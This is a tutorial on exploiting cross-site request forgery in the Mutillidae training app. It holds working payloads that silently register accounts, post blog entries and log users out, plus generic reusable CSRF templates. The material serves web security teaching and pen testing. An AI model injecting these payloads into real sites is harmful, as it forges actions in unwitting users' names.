Cross-site Request Forgery (CSRF)


Overview

Cross site request forgery may occcur when an attacker is able to run script into a users browser. To forge a legitimate request, the script creates and send the same parameters to the target website that would be sent if the user had submitted the legitimate form themselves. The target website knows the request has come from the users browser but cannot detect that the request was created and sent by a malicious script running in the users browser. As far as the target site can tell, the user submitted the request by using the web site in the expected way.

Discovery Methodology

Check the target website forms for enbedded tokens which when sent along with the other parameters on the form make each request unique. The token could be a random string, some form of CAPTCHA, random math problem, or other way to "sign" each form in order to be able to identify the form later. If these tokens exists, they provide a method by which the target website can detect a forged request (which would not contain the token issued by the target web site). If the tokens are missing, the request is likely vulnerable to cross site request forgery.

Exploitation

Submit the legitimate form and carefully note each parameter and value that must be sent for the server to process the request successfully. Either generate HTML or create a JavaScript that will send the same parameters to the same target site when the user triggers the "sending event". Next create a "sending event" which will cause the users browser to run the HTML or JavaScript that will send the request. The "sending event" can be as simple as a hidden form that is submitted when the user visits a page (onload), hovers over a particular object (onmouseover), or click on a certain area (onclick). The method used is not important as long as the parameters needed by the target site are submitted.

Note: If the target site requires authentication, the submission will only be successful if the user is still logged into the target site. There is no need they actually being viewing the site. They just need have a valid session token. The browser will send the session token automatically.

Examples

Virtually all pages are vulnerable although not all pages contain transactions and not all transactions are sensitive. Possibilities include adding a blog entry for the current user without them having to visit the "Add Blog" page or registering a new account of your choice by having the user visit an infected page.

Lets assume that adding a new user account to Mutillidae is a sensitive transaction. Using the registration process as an example, start by capturing a request. One way to capture a request is by using the Burp interception proxy. This tool is preloaded if using the Samurai Web Testing Framework or Backtrack. Register a new user account with Burp running and interception enabled.

Here is a sample request captured using Burp on Samurai:

POST /index.php?page=register.php HTTP/1.1 Host: mutillidae User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://mutillidae/index.php?page=register.php Cookie: PHPSESSID=1a28b85b825be0e5c9dc2789c63a3b44 Content-Type: application/x-www-form-urlencoded Content-Length: 122 username=username1&;password=pass1&confirm_password=pass1&my_signature=signature1&register-php-submit-button=Create+Account

Note the method, action, and input parameters. Use the CSRF template to create an HTML form injection that can send this request. Here is an example to create a user "sammy" with password "samurai".

<!--/* People often ask "What is the password for samurai?". The answer is below. Be careful to escape single-quotes if inserting into MySQL. This example has the single quotes MySQL escaped (' -> \'). The try/catch is just to help you debug. This is not intended to be used when pen testing because if the exploit fails the user is going to be notified. */--> <form id="CSRF" method="POST" action="/index.php?page=register.php"> <input name="username" value="sammy" type="hidden" /> <input name="password" value="samurai" type="hidden" /> <input name="confirm_password" value="samurai" type="hidden" /> <input name="my_signature" value="The password is samurai" type="hidden" /> <input name="register-php-submit-button" value="Create+Account" type="hidden" /> </form> <span onmouseover="try{var lURL=document.location.href;document.getElementById(\'CSRF\').submit();document.location.href=lURL;}catch(e){alert(e.message);}">Hello World</span>

On the Add to your Blog page (http://mutillidae/index.php?page=add-to-your-blog.php), inject this exploit as a new blog. On either the Add Blog or the View Blog page, carefully mouseover the blog text and watch for the page to reload. Try to log in with the new user. Trap requests with an interception proxy like Burp to watch the actual request. Submit the request with XHR to get rid of that pesky page reload which could alert the user. When using XHR, use an interception proxy to watch the request and the response. Otherwise you wont notice.

Here is the same example using XHR rather than the "onmouseover" event:

<script> var lXMLHTTP; try{ var lData = "username=fred&password=pass&confirm_password=pass&my_signature=signature1&register-php-submit-button=Create+Account"; var lAction = "/index.php?page=register.php"; var lMethod = "POST"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } }//end try lXMLHTTP.onreadystatechange = function(){ if(lXMLHTTP.readyState == 4){ alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } ///////////////////////////// //UNCOMMENT FOR GET REQUESTS ///////////////////////////// //xmlhttp.open(lMethod, lAction, true); //lData=""; ///////////////////////////// ///////////////////////////// //UNCOMMENT FOR POST REQUESTS ///////////////////////////// lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Method", "POST " + lAction + " HTTP/1.1"); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ///////////////////////////// lXMLHTTP.send(lData); }catch(e){ alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } </script>

Force someone to add a blog without consent: <form id="f" action="index.php?page=add-to-your-blog.php" method="post" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="csrf-token" value="best-guess"/> <input type="hidden" name="blog_entry" value="Add this guy to the Wall of Sheep"/> <input type="hidden" name="add-to-your-blog-php-submit-button" value="TESTING"/> </form> <i onmouseover="window.document.getElementById(\'f\').submit()">Dancing with the stars results</i>

Force someone to log out: <i onmouseover="window.document.location=\'http://localhost/mutillidae/index.php?do=logout\'">How to improve your Facebook status</i>

Force someone to add a blog without consent using HTML injection:
<script> var f = document.createElement("form"); f.method = "POST"; f.action = "./index.php?page=add-to-your-blog.php"; document.body.appendChild(f); var e = document.createElement("input"); e.setAttribute("type", "hidden"); e.setAttribute("name", "csrf-token"); e.setAttribute("value", "SecurityIsDisabled"); f.appendChild(e); var e = document.createElement("input"); e.setAttribute("type", "hidden"); e.setAttribute("name", "blog_entry"); e.setAttribute("value", "this is an auto message!"); f.appendChild(e); var e = document.createElement("input"); e.setAttribute("type", "hidden"); e.setAttribute("name", "add-to-your-blog-php-submit-button"); e.setAttribute("value", "Save Blog Entry"); f.appendChild(e); f.submit(); </script>
Force someone to register without their consent using a silent AJAX request: <script> var lXMLHTTP; try{ var lUsername = "<USERNAME GOES HERE>"; var lPassword = "<PASSWORD GOES HERE>"; var lSignature = "<SIGNATURE GOES HERE>"; var lData = "username="+lUsername+"&password="+lPassword+"&confirm_password="+lPassword+"&my_signature="+lSignature+"&register-php-submit-button=Create+Account"; var lAction = "./index.php?page=register.php"; var lMethod = "POST"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e){ try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){ try{ lXMLHTTP = new XMLHttpRequest(); }catch(e){ alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } }//end try lXMLHTTP.onreadystatechange = function(){ if(lXMLHTTP.readyState == 4){ alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } }; lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); lXMLHTTP.send(lData); }catch(e){ alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } </script>

Appendix - CSRF Templates

/* HTML Injection based CSRF template */ <form id="CSRFForm" method="$REQUEST-METHOD-HERE$" action="$SUBMIT-ACTION-PAGE-HERE$"> $FOR-EACH-REQUEST-INPUT-PARAMETER$ <input type="hidden" name="$PARAMETER-NAME$" value="$PARAMETER-VALUE$" /> $END-FOR$ </form> /* Now choose an event which when triggered will submit the form. Here are some examples */ <body onload='window.document.getElementById("CSRFForm").submit();'> <span onmouseover='window.document.getElementById("CSRFForm").submit();'>Hello World</span> /* JavaScript Injection based CSRF template */ /* NOTE: Script tags are only needed if injection is into HTML context. If injecting into JavaScript context, do not include script tags. */ <script> var lCSRFForm = window.document.createElement("form"); lCSRFForm.name="CSRFForm"; lCSRFForm.method="$REQUEST-METHOD-HERE$"; lCSRFForm.action="$SUBMIT-ACTION-PAGE-HERE$" $FOR-EACH-REQUEST-INPUT-PARAMETER$ var lInput = document.createElement("input"); lInput.type="hidden"; lInput.name="$PARAMETER-NAME$"; lInput.value="$PARAMETER-VALUE$"; lCSRFForm.appendChild(lInput); $END-FOR$ window.document.appendChild(lCSRFForm); lCSRFForm.submit(); </script> <script> var lXMLHTTP; try{ var lData = "$THE-ENTIRE-POST-PARAMETER-STRING-COPIED-FROM-REQUEST-OR-TYPED-IN$"; var lAction = "$SUBMIT-ACTION-PAGE-HERE$"; var lMethod = "$REQUEST-METHOD-HERE$"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } }//end try lXMLHTTP.onreadystatechange = function(){ if(lXMLHTTP.readyState == 4){ alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } ///////////////////////////// //UNCOMMENT FOR GET REQUESTS ///////////////////////////// //xmlhttp.open(lMethod, lAction, true); //lData=""; ///////////////////////////// ///////////////////////////// //UNCOMMENT FOR POST REQUESTS ///////////////////////////// lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Method", "POST " + lAction + " HTTP/1.1"); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); lXMLHTTP.send(lData); }catch(e){ alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } </script>